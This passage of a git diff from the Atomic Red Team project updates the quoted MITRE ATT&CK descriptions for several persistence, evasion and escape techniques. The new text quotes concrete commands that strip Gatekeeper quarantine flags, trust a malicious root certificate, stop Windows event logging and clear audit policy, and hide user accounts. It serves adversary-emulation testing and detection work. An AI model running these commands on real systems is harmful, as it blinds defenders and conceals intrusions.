+<blockquote>Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)
 
-Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories  (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. 
+Adversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)
 
-The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation. </blockquote>
+Additionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1546.004/T1546.004.md b/atomics/T1546.004/T1546.004.md
index 894de254..f1bd717b 100644
--- a/atomics/T1546.004/T1546.004.md
+++ b/atomics/T1546.004/T1546.004.md
@@ -4,7 +4,7 @@
 
 Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. 
 
-For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.</blockquote>
+For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1547.011/T1547.011.md b/atomics/T1547.011/T1547.011.md
index f39ea804..4f57e564 100644
--- a/atomics/T1547.011/T1547.011.md
+++ b/atomics/T1547.011/T1547.011.md
@@ -1,10 +1,8 @@
 # T1547.011 - Plist Modification
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1547/011)
-<blockquote>Adversaries may modify plist files to run a program during system boot or user login. Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). 
+<blockquote>Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, <code>Info.plist</code>, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) 
 
-Adversaries can modify plist files to execute their code as part of establishing persistence. plists may also be used to elevate privileges since they may execute in the context of another user.(Citation: Sofacy Komplex Trojan) 
-
-A specific plist used for execution at login is <code>com.apple.loginitems.plist</code>.(Citation: Methods of Mac Malware Persistence) Applications under this plist run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them.(Citation: Adding Login Items) Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to "hide" the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled</code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1059/002) can do this as well. (Citation: Adding Login Items)</blockquote>
+Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the <code>DYLD_INSERT_LIBRARIES</code> key combined with a path to a malicious dylib under the <code>EnvironmentVariables</code> key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the <code>LSEnvironment</code> key in the application's <code>Info.plist</code> file.(Citation: wardle artofmalware volume1)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1553.001/T1553.001.md b/atomics/T1553.001/T1553.001.md
index 82a30cb0..8c8a636a 100644
--- a/atomics/T1553.001/T1553.001.md
+++ b/atomics/T1553.001/T1553.001.md
@@ -1,10 +1,10 @@
 # T1553.001 - Gatekeeper Bypass
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1553/001)
-<blockquote>Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls. In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. 
+<blockquote>Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called <code>com.apple.quarantine</code> can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the <code>dlopen</code> function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)
 
-Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)
- 
-In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)</blockquote>
+The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the <code>com.apple.quarantine</code> quarantine flag can be checked with the xattr command <code>xattr -l /path/to/examplefile</code>. Similarly, this attribute can be recursively removed from all files in a folder using xattr, <code>sudo xattr -d com.apple.quarantine /path/to/folder</code>.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)
+
+Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the <code>curl</code> command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1553.004/T1553.004.md b/atomics/T1553.004/T1553.004.md
index 01f73732..af261e60 100644
--- a/atomics/T1553.004/T1553.004.md
+++ b/atomics/T1553.004/T1553.004.md
@@ -1,14 +1,14 @@
 # T1553.004 - Install Root Certificate
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1553/004)
-<blockquote>Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
+<blockquote>Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
 
-Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
+Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)
 
-Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
+Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
 
-Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
+Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
 
-In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)</blockquote>
+In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1559.002/T1559.002.md b/atomics/T1559.002/T1559.002.md
index e7a4580a..90f3608c 100644
--- a/atomics/T1559.002/T1559.002.md
+++ b/atomics/T1559.002/T1559.002.md
@@ -4,7 +4,7 @@
 
 Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)
 
-Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).</blockquote>
+Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1562.001/T1562.001.md b/atomics/T1562.001/T1562.001.md
index 9c5c3a00..28c0d149 100644
--- a/atomics/T1562.001/T1562.001.md
+++ b/atomics/T1562.001/T1562.001.md
@@ -1,6 +1,8 @@
 # T1562.001 - Disable or Modify Tools
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1562/001)
-<blockquote>Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.</blockquote>
+<blockquote>Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.
+
+Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1562.002/T1562.002.md b/atomics/T1562.002/T1562.002.md
index f4598988..dd188aff 100644
--- a/atomics/T1562.002/T1562.002.md
+++ b/atomics/T1562.002/T1562.002.md
@@ -2,7 +2,11 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1562/002)
 <blockquote>Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
 
-Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.</blockquote>
+The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\Local Policies\Audit Policy</code> for basic audit policy settings or <code>Security Settings\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)
+
+Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: <code>Stop-Service -Name EventLog</code>.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:”Account Logon” /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)
+
+By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1564.002/T1564.002.md b/atomics/T1564.002/T1564.002.md
index 9c936570..5e0d545d 100644
--- a/atomics/T1564.002/T1564.002.md
+++ b/atomics/T1564.002/T1564.002.md
@@ -1,8 +1,10 @@
 # T1564.002 - Hidden Users
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1564/002)
-<blockquote>Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
+<blockquote>Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.
 
-There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: <code>sudo dscl . -create /Users/username UniqueID 401</code>) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).</blockquote>
+In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: <code>sudo dscl . -create /Users/username UniqueID 401</code>) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)
+
+In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: <code>reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f</code>.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1569.001/T1569.001.md b/atomics/T1569.001/T1569.001.md
index 60ad1888..bce745fa 100644
--- a/atomics/T1569.001/T1569.001.md
+++ b/atomics/T1569.001/T1569.001.md
@@ -1,10 +1,9 @@
 # T1569.001 - Launchctl
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1569/001)
-<blockquote>Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
+<blockquote>Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)
 
-By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)
-
-Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute "arg" "arg" "arg"</code>. Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.</blockquote>
+Adversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w "%s/Library/LaunchAgents/%s"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)
+</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1569.002/T1569.002.md b/atomics/T1569.002/T1569.002.md
index 4edcf9ec..66de440d 100644
--- a/atomics/T1569.002/T1569.002.md
+++ b/atomics/T1569.002/T1569.002.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1569/002)
 <blockquote>Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).
 
-[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)
+[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.
 
 Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.</blockquote>
 
diff --git a/atomics/T1574.011/T1574.011.md b/atomics/T1574.011/T1574.011.md
index 821ed917..0efd5021 100644
--- a/atomics/T1574.011/T1574.011.md
+++ b/atomics/T1574.011/T1574.011.md
@@ -1,10 +1,14 @@
 # T1574.011 - Services Registry Permissions Weakness
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1574/011)
-<blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.  Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)
+<blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
 
-If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
+If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
 
-Adversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) </blockquote>
+Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
+
+The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
+
+Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1574.012/T1574.012.md b/atomics/T1574.012/T1574.012.md
index 693d673f..57698072 100644
--- a/atomics/T1574.012/T1574.012.md
+++ b/atomics/T1574.012/T1574.012.md
@@ -1,6 +1,6 @@
 # T1574.012 - COR_PROFILER
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1574/012)
-<blockquote>Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
+<blockquote>Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)
 
 The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)
 
diff --git a/atomics/T1611/T1611.md b/atomics/T1611/T1611.md
index 7d43bccb..f4d3114c 100644
--- a/atomics/T1611/T1611.md
+++ b/atomics/T1611/T1611.md
@@ -2,7 +2,9 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1611)
 <blockquote>Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)
 
-There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.</blockquote>
